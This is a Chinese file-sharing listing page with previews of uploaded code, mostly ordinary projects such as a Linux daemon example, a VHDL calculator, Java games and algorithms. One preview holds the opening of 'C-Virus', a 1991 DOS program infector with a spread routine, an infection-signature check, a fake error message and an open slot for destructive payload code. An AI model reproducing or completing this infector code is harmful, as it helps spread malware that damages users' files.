在Linux中专门提供了一个函数来完成这个daemon化的过程,这个函数的原型如下   int daemon (int __nochdir, int __noclose);   如果__nochdir的值为0,则将切换工作目录为根目录;如果__noclose为0,则将标准输入,输出和标准错误都重定向到/dev /null。   经过这个函数调用后的程序将运行在后台,成为一个daemon程序,而linux下大多的服务都是以此方式运行的。   我们来看一个简单的例子。例如编写例子程序test.c #include #include int d
2022-10-26 16:54:13 49KB ae daemon em
1
这是我用C语言编写的空间后方交会代码,希望大家喜欢哦。
2022-10-26 15:49:51 4KB 后方交会
1
/* C-Virus: A generic .COM and .EXE infector Written by Nowhere Man Project started and completed on 6-24-91 Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too) */ #pragma inline // Compile to .ASM #include #include #include #include #include void hostile_activity(void); int infected(char *); void spread(char *, char *); void small_print(char *); char *victim(void); #define DEBUG #define ONE_KAY 1024 // 1k #define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum #define SIGNATURE "NMAN" // Sign of infection int main(void) { /* The main program */ spread(_argv[0], victim()); // Perform infection small_print("Out of memory\r\n"); // Print phony error return(1); // Fake failure... } void hostile_activity(void) { /* Put whatever you feel like doing here...I chose to make this part harmless, but if you're feeling nasty, go ahead and have some fun... */ small_print("\a\a\aAll files infected. Mission complete.\r\n"); exit(2); } int infected(char *fname) { /* This function determines if fname is infected */ FILE *fp; // File handle char sig[5]; // Virus signature fp = fopen(fname, "rb"); fseek(fp, 28L, SEEK_SET); fread(sig, sizeof(sig) - 1, 1, fp); #ifdef DEBUG printf("Signature for %s: %s\n", fname, sig); #endif fclose(fp); return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0); } void small_print(char *string) { /* This function is a small, quick print routine */ asm { push si mov si,string mov ah,0xE }
2022-10-26 10:39:40 2KB 源码
1
用VHDL编写的计算器用VHDL编写的计算器
2022-10-25 21:03:30 22KB 用VHDL编写的计算器
1
Java的飞翔的小鸟
2022-10-25 18:08:45 19.1MB java
1
数据结构和算法工作 包含我在佐治亚理工学院 2014 年秋季 CS 1332 课程中用 Java 编写的各种数据结构和算法的存储库
2022-10-25 14:42:24 42.84MB Java
1
好友分配器 用C ++编写的简单伙伴分配器。
2022-10-25 08:31:40 2KB C++
1
Pyava是一个用Python编写的简单的游戏模拟器启动器。 它提供一个便携式和方便的菜单,从一个地方运行所有的游戏
2022-10-24 21:44:39 97KB Python开发-游戏开发
1
蛇 用 JavaScript 编写的各种蛇搜索算法 用 JavaScript 编写的贪吃蛇游戏,使用轻量级 NodeJS Web 服务器托管。 在本地运行: 克隆回购 克隆仓库中的“npm install” “节点服务器”启动服务器 浏览到
2022-10-24 20:56:33 251KB JavaScript
1
FORTRAN语言编写的有限元中的DKQ单元,该单元是四节点四边形壳体单元的重要组成部分
2022-10-24 17:26:59 3KB dkq fortran
1